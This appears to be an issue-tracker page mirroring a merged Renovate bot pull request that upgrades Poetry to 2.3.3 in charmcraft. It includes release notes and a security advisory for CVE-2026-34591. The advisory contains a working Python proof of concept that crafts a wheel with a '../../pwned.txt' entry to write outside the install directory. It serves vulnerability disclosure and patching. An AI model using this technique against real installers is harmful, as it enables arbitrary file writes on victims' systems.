← Back to issue list

build(deps): update dependency poetry to v2.3.3 [security] (main)

View original Github issue

Metadata

Project
charmcraft
Number
#2624
Type
pull request
State
merged
Author
renovate[bot]
Labels
PR: Dependencies
Created
Updated
Closed

Current evaluation

Automatically merged by Renovate bot to upgrade poetry from v2.3.2 to v2.3.3, resolving CVE-2026-34591 path traversal vulnerability in the wheel installer. PR was approved and passed CI checks.

Suggested action:

No scores available.

Issue body

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [poetry](https://redirect.github.com/python-poetry/poetry) ([changelog](https://python-poetry.org/history/)) | `2.3.2` → `2.3.3` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/poetry/2.3.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/poetry/2.3.2/2.3.3?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-34591](https://redirect.github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp) ### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. ### POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ``` --- ### Release Notes <details> <summary>python-poetry/poetry (poetry)</summary> ### [`v2.3.3`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#233---2026-03-29) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.2...2.3.3) ##### Fixed - **Fix a path traversal vulnerability in the wheel installer that could allow malicious wheel files to write files outside the intended installation directory** ([#&#8203;10792](https://redirect.github.com/python-poetry/poetry/pull/10792)). - Fix an issue where `git` dependencies from annotated tags could not be updated ([#&#8203;10719](https://redirect.github.com/python-poetry/poetry/pull/10719)). - Fix an issue where empty `VIRTUAL_ENV` or `CONDA_PREFIX` environment variables (e.g., after `conda deactivate`) would cause Poetry to incorrectly detect an active virtualenv ([#&#8203;10784](https://redirect.github.com/python-poetry/poetry/pull/10784)). - Fix an issue where an incomprehensible error message was printed when `.venv` was a file instead of a directory ([#&#8203;10777](https://redirect.github.com/python-poetry/poetry/pull/10777)). - Fix an issue where HTTP Basic Authentication credentials could be corrupted during request preparation, causing authentication failures with long tokens ([#&#8203;10748](https://redirect.github.com/python-poetry/poetry/pull/10748)). - Fix an issue where `poetry publish --no-interaction --build` requested user interaction ([#&#8203;10769](https://redirect.github.com/python-poetry/poetry/pull/10769)). - Fix an issue where `poetry init` and `poetry new` created a deprecated `project.license` format ([#&#8203;10787](https://redirect.github.com/python-poetry/poetry/pull/10787)). ##### Docs - Clarify the differences between `poetry install` and `poetry update` ([#&#8203;10713](https://redirect.github.com/python-poetry/poetry/pull/10713)). - Clarify the section of fields in the `pyproject.toml` examples ([#&#8203;10753](https://redirect.github.com/python-poetry/poetry/pull/10753)). - Add a note about the different installation location when Python from the Microsoft Store is used ([#&#8203;10759](https://redirect.github.com/python-poetry/poetry/pull/10759)). - Fix the system requirements for Poetry ([#&#8203;10739](https://redirect.github.com/python-poetry/poetry/pull/10739)). - Fix the `poetry cache clear` example ([#&#8203;10749](https://redirect.github.com/python-poetry/poetry/pull/10749)). - Fix the link to `pipx` installation instructions ([#&#8203;10783](https://redirect.github.com/python-poetry/poetry/pull/10783)). ##### poetry-core ([`2.3.2`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.2)) - Fix an issue where `platform_release` could not be parsed on Debian Trixie ([#&#8203;930](https://redirect.github.com/python-poetry/poetry-core/pull/930)). - Fix an issue where using `project.readme.text` in the `pyproject.toml` file resulted in broken metadata ([#&#8203;914](https://redirect.github.com/python-poetry/poetry-core/pull/914)). - Fix an issue where dependency groups were considered equal when their resolved dependencies were equal, even if the groups themselves were not ([#&#8203;919](https://redirect.github.com/python-poetry/poetry-core/pull/919)). - Fix an issue where removing a dependency from a group that included another group resulted in other dependencies being added to the included group ([#&#8203;922](https://redirect.github.com/python-poetry/poetry-core/pull/922)). - Fix an issue where PEP 735 `include-group` entries were lost when `[tool.poetry.group]` also defined `include-groups` for the same group ([#&#8203;924](https://redirect.github.com/python-poetry/poetry-core/pull/924)). - Fix an issue where the union of `<value> not in <marker>` constraints was wrongly treated as always satisfied ([#&#8203;925](https://redirect.github.com/python-poetry/poetry-core/pull/925)). - Fix an issue where a post release with a local version identifier was wrongly allowed by a `>` version constraint ([#&#8203;921](https://redirect.github.com/python-poetry/poetry-core/pull/921)). - Fix an issue where a version with the local version identifier `0` was treated as equal to the corresponding public version ([#&#8203;920](https://redirect.github.com/python-poetry/poetry-core/pull/920)). - Fix an issue where a `!= <version>` constraint wrongly disallowed pre releases and post releases of the specified version ([#&#8203;929](https://redirect.github.com/python-poetry/poetry-core/pull/929)). - Fix an issue where `in` and `not in` constraints were wrongly not allowed by specific compound constraints ([#&#8203;927](https://redirect.github.com/python-poetry/poetry-core/pull/927)). </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/canonical/charmcraft). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDIuNyIsInVwZGF0ZWRJblZlciI6IjQzLjEwMi43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJQUjogRGVwZW5kZW5jaWVzIl19-->

Evaluation history

Date Model Scores Action Summary
qwen/qwen3.6-35b-a3b Automatically merged by Renovate bot to upgrade poetry from v2.3.2 to v2.3.3, resolving CVE-2026-34591 path traversal vulnerability in the wheel installer. PR was approved and passed CI checks.
qwen3.6-35b-a3b-mtp-q6 Auto-merged into main, upgrading poetry to 2.3.3 to resolve CVE-2026-34591 path traversal vulnerability. Renovate bot applied the security update. Minor type checking warnings were logged but required no action.
qwen3.6-35b-a3b-mtp-q6 Merged automated dependency update upgrading poetry to v2.3.3 to resolve CVE-2026-34591, a path traversal vulnerability in the wheel installer. Type checking warnings were noted as non-blocking.

Update history

No update history recorded yet.

Related issues

Issue Project State Summary Similarity
#2628 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.2) charmcraft merged Merged automated update upgrading poetry from v2.3.2 to v2.3.3. This resolves CVE-2026-34591, a path traversal vulnerability in the wheel installer allowing arbitrary file writes. Auto-merged after passing CI checks.
93%
#1169 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/1.17) - autoclosed rockcraft closed Renovate PR updating Poetry to v2.3.3 for CVE-2026-34591 was autoclosed without merging. The security update was abandoned.
87%
#2626 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.0) charmcraft closed Dependency update to poetry v2.3.3 addressing CVE-2026-34591 was closed without merging. The change was abandoned, and Renovate will skip this version until a newer release appears.
86%
#2625 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/3.5) - autoclosed charmcraft closed Renovate-generated PR to update poetry to v2.3.3 for CVE-2026-34591 security patch was autoclosed without merging. The dependency update was abandoned.
86%
#1168 build(deps): update dependency poetry to v2.3.3 [security] (main) - autoclosed rockcraft closed Renovate autoclosed the poetry v2.3.3 security update after snap-tests failed in CI. The dependency was not merged, leaving the repository unpatched against CVE-2026-34591.
85%
#2627 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.1) charmcraft closed Closed without merging. The security update to Poetry v2.3.3 was abandoned. Renovate will ignore this version and automatically generate a replacement PR for a newer release.
84%
#2629 build(deps-dev): bump poetry from 2.3.2 to 2.3.3 charmcraft closed Closed as a duplicate of PR #2624. Dependabot acknowledged the closure and will skip future notifications. The dependency update was handled in the referenced PR.
75%
#2189 build(deps): update bugfixes (main) charmcraft merged Merged automated patch updates for 16 dependencies via Renovate, including numpy, poetry, pylint, and ruff-pre-commit. Upgrades resolve reported bugs and improve stability. All required CI checks passed, triggering automatic merge.
74%
#348 build(deps): update dependency requests to v2.33.0 [security] (main) craft-store merged Merged automated dependency update upgrading requests from 2.32.4 to 2.33.0 to resolve CVE-2026-25645. Approved by reviewers, passed CI checks, and merged into main.
72%
#1516 build(deps): update dependency requests to v2.33.0 [security] (main) craft-parts merged Merged automated dependency update upgrading requests from 2.32.5 to 2.33.0 to patch CVE-2026-25645. Approved by two reviewers, passed CI validation, and merged into main.
72%